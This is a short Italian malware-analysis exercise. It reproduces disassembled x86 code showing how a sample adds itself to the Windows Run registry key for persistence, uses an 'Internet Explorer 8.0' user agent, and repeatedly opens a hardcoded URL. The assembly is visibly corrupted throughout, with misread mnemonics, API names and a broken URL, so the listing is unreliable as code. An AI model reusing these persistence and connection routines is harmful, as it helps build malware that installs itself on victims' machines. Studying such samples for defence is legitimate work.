```
push  2 ; sanDesired
push eax ; ulOptions
push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push HKEY_LOCAL_MACHINE ; hKey
call esi ; RegOpenKeyExW
test eax, eax
jnz short loc_4028C5
loc_402882:
lea ecx, [esp+424h+Data]
push ecx ; lpString
mov bl, 1
call ds:lstrlenW
lea edx, [eax+eax+2]
push edx ; cbData
mov edx, [esp+428h+hKey]
lea eax, [esp+428h+Data]
push eax ; lpData
push - 1 ; dwlype
push 0 ; Reserved
 lea ecx, [esp+434h+ValueName]
push ecx ; lpValueName
push edx ; hKey
 call ds:RegSetValueExW


StartAddress proc near ; DATA XREF: sub_401040+ECto
push esi
push edi
push - 6 ; duFlags
push o ; lpszProxyBypass
push - 0 ; lpszProxy
push 4 ; duAccessType
push offset szAgent ; "Internet Explorer 8.0"
```

```
call ds:InternetOpenA
nov edi, ds:InternetOpenUr1A
nov esi, eax

loc_40116D: ; CODE XREF: Startaddress+304
push - 6 ; duContext
push 80000000h ; duFlags
push - 8 ; dueadersLength
push - 8 ; 1pszHeaders
\push offset szUrl ; "http://www.nalvareizcom
push esi ; hinternet
call edi ; InternetOpenUr1A
jnp short loc_40116D

StartAddress endp
```

le righe evidenziate in giallo mostrano come il malware ottiene la persistenza

le righe evidenziate in azzurro mostrano il client software utilizzato per la connessione

le righe evidenziate in verde mostrano come il malware ottiene la chiamata e l'URL che permette la connessione